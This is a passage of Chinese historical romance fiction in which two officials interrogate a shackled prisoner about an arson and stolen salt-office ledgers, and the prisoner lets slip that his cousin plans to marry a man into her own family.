他还未说完,谌庭已按照谢枕川写在纸上的字句念道:“闭嘴!” “淮安盐运分司的火可是你放的?” “你说什么?”周济语气吃惊,不似作伪,“什么火,淮安盐运分司起火了?” 他想明白之后,立刻愤怒地挣扎起来,他看起来力气不小,虽未挣脱,整个牢房似乎都晃动了一下,“你们这些王八蛋,自己放火平账,还想把屎盆子往老子身上扣?!” ……这人看起来实在是不太聪明的样子。 谌庭转头看向谢枕川,以口型示意道:你确定这是周则善的孙子? 广成伯府大约是怕露怯,这位长孙一直少与人来往,神秘得很,他虽然在应天呆了几年,但也只知其名,未见其人。 谢枕川点了点头,又“唰唰”写下一行字。 谌庭照念道:“说吧,你这次来淮安是奉的谁的命令,又有什么任务?” “我已经说过了,是濯影司谢大人的命令,就是来查你们贪赃枉法之事,你们听不懂吗?” “广成伯府的嫡长孙,何时入了濯影司的麾下?” 周济装作没听见,“什么广成伯府,我在谢大人门下已做了五年的事,关广成伯府何事?” 谢枕川很快写完一长套说辞,谌庭照念不误:“你是广成伯府嫡长孙周济,是广成伯授意你来淮安盐运分司查账。” 周济脸上浮现出一丝慌乱,这道题超纲了呀,祖父没教过! 他梗着脖子道:“我不明白你在说什么。” “因你四肢发达,头脑简单,广周则善只吩咐你将账册盗走,但你在淮安不慎暴露了行踪,引起了淮安盐运分司的警觉,所以才有中毒昏迷、火烧账房之事,我说得可对?” ……简直是断事如神。 周济立刻就破防了,“你们到底是什么人,审问就审问,何必骂人呢?” 谌庭继续道:“周则善除了派你去偷盗账册,是否还安排了别的计划?” “不可能呀,”周济没理他,像是在努力说服自己,“我们府里年轻一辈,除了我,哪里还有别的靠谱的人?” 未等谢枕川动作,谌庭便已经擅自开口问道:“比如你们府里那个表小姐,梨瓷。” 他一边说着,一边偷偷观察谢枕川的反应。 谢枕川轻飘飘睨他一眼,倒是并未阻拦。 周济这回挣扎得更厉害了,身上枷锁、镣铐抖个不停,“你们到底要干什么?有什么事尽管冲我来,要杀要剐悉听尊便,与广成伯府无关,不要碰我表妹!” 谌庭转头看向谢枕川,只见他闻声蹙眉,却就此沉默了,毛笔吸饱了墨汁,未在纸上留下一字。 他只好继续自由发挥,先是道:“你们府里那位表亲谢徵,可与此案有关?” 周济隐约在祖父那里听过相关之事,此刻却一口咬定,“不熟,无关。” “说得这么笃定,”谌庭又悄悄看了一眼谢枕川的脸色,这才道:“他近日可是与你的表妹走得很近,如不是为了查案,难道还能是郎情妾意,看对眼了吗?” 周济心中一痛,却还是嘴硬道:“人家郎才女貌,关你这丑八怪什么事?” 谌庭向来自诩风度翩翩,哪里听得了“丑八怪”三个字,立刻也失去理智,反唇相讥道:“总好过周公子,人家都说‘表哥表妹,天生一对’,不像你,如此如花美眷,近水楼台都不能把握机会。” 这下可就戳到周济的伤心事了,也是他近两年都外出奔走甚少在家的原因。 他低垂着头,心中一片酸涩,喃喃自语道:“难道是我不想吗,那还不是因为表妹要招赘……” 他这话声音虽小,却仿佛一个惊雷在牢内炸开,一片鸦雀无声。 “你……你说什么?” 好半天,谌庭才找回自己的声音,下意识再确认了一遍,几乎都不敢抬头看谢枕川脸色。